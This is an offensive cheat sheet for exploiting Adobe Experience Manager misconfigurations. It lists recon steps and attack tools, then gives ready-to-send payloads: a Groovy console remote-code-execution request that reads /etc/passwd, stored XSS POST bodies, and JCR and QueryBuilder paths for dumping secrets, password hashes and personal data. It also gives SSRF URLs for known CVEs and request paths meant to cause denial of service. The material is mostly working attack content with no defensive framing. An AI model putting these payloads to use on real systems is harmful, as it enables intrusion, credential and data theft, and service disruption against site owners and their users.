# **AEM MISCONFIGURATION CHEATSHEET**

### video

https://www.youtube.com/watch?v=EQNBQCQMouk

#### method

- collect sub domain
- use nuclei/nuclei-templates/technologies/tech-detect.yaml to identifiy aem
- Python3 ./aem\_hacker.py -u https://example host localhost
- use https://github.com/clarkvoss/AEM-List/blob/main/paths to fuzz on path

#### aem tools

- https://github.com/0ang3el/aem-hacker
- https://github.com/0ang3el/aem-rce-bundle

```
python3 aem_hacker.py -u --host yourvpshostname =>comman usage
python3 aem_discovery.py --file urls.txt --workers 150 =>discover url
python3 aem_enum.py --url => automate usernames and secrets
python3 aem_ssrf2rce.py --url --fakaem yourvbs
python3 aem_server.py
```

# aem dispatcher bypasses

[] bypassing cve 2016-0957

[] bypassing for interesting servlets

[] using ssrf

```
ssrf should allow to send GET request and see response
  - Opensocial proxy
  ssrf in reportingservicesproxyservlet(cve-2018-12809)
[] rce via exposed Groovy console
  POST /bin/groovyconsole/post.servlet HTTP/1.1
  HOST:
  script=sef+proc+%3d+"cat+/etc/passwd".execute()%0d%0aprintln+proc.txt
[] xss
  POST /////content/usergenerated/etc/commerce/smartlists/vv.json
  aa=alert('xss+on+'\%2b+document.domain+\%2b+'\nby+\%400ang3el+\nd83d\nde00')\%3b
[] xss
  POST /content/usergenerated/etc/commerce/smartlists/xss
  aaa.html=alert('xss+on+'\%2b+document.domain+\%2b+'\nby+\%400ang3el+\ud83d\ude00')\%3b
[] xss
  POST /content/usergenerated/etc/commerce/smartlists/xssed
  jcr:data=alert('xss+on+'%2b+document.domain+%2b+'\nby+%400ang3el+\ud83d\ude00')%3b&jcr:mimeType=t
[] secret from jcr
  everything is stored in jcr repository :
  secrets (password ,encryption key , tokens)
  - cinfiguration
```

```
- usernames
  ** what to use **
  - DefaultGETServlet
  - QueryBUilderJsonServlet
  - QueryBuilderFeedServlet
  - GQLSearch Servlet
  - other
  ** DefaultGETServlet **
  - Allows to get jsr node with its props
  - selectors
    - tidy
    - infinity
    - numeric value:-1,0,1...99999
  - formats
    - json
    - xml
    - res
  - https://aem.site/tidy.3.json
    / => jcr:root
    tidy => selector tidy
      => selector depth
    json => output format
  - how to grap
   - get node names, start from jcr:root :
      - /.1.json
      - /.ext.json
      - /.childrenlist.json
   - or guess node names :
      - comman names /content, /home, /var, /etc
   - Dump props for each child node of jcr:root :
      - /etc.json or /etc.s.json or /etc.-1.json
  - what to grap
   - interesting nodes
      - /etc => may contain secrets (pass,enc,keys)
      - /apps/system/config => passwords
      - /apps/<smth>/config => passwords
      - /var => may contain private pii
      - /home => password hashed ,pii
   - interesting props-contain aem usernames
      - jcr:createdBy
      jcr:lastModifiedBy
      cq:LastModifiedBy
[] QueryBuild Servlets
  - path
     - /bin/querybuilder.json
     - /bin/querybuilder.feed.servlet
  - examples of useful searches
   - type=nt:file&nodename=*.zip
   - path=/home&p.hits-full&p.limit=-1
   - hasPermission=jcr:write&path=/content
   - hasPermission=jcr:addChild Nodes&path=/content
   - hasPermission=jcr:modify Properties&path=/content
   - p.hits-selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alast ModifiedBy&property.ope
```

- pII

- path=/etc&path.flat=true&p.nodedepth=0
- path=/etc/replication/agents.author&p.hits-full&p.nodedepth=-1

### [] exploit SSRF

ssrf via Opensocial proxy

- /libs/opensocial/proxy?container=default&url=http://target
- /libs/shindig/proxy?container=default&url=http://target

## [] ReportingServicesProxyServlet

SSRF via ReportingServicesProxyServlet (CVE-2018-12809)

- /libs/ca/contentinsight/content/proxy.reportingservices.json?url=http://target%23/apil.omniture
- /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url=http://target%23/apil.omni
- /libs/mcm/salesforce/customer.json?checkType=authorize&authorization\_url=http://target&customer

SSRF via SiteCatalystServlet

- /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet
- /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json

### [] DOS

- /.ext.infinity.json
- /.ext.infinity.json?tidy=true
- /bin/querybuilder.json?type=nt:base&p.limit=-1
- /bin/wcm/search/gql.servlet.json?query=type:base%20limit:..-1&pathPrefix=
- /content.assetsearch.json?query=\*&start=0&limit=10&random=123
- /..assetsearch.json?query=\*&start=0&limit=10&random=123
- /system/bgservlets/test.json?cycles-999999&interval=0&flushEvery=1111111111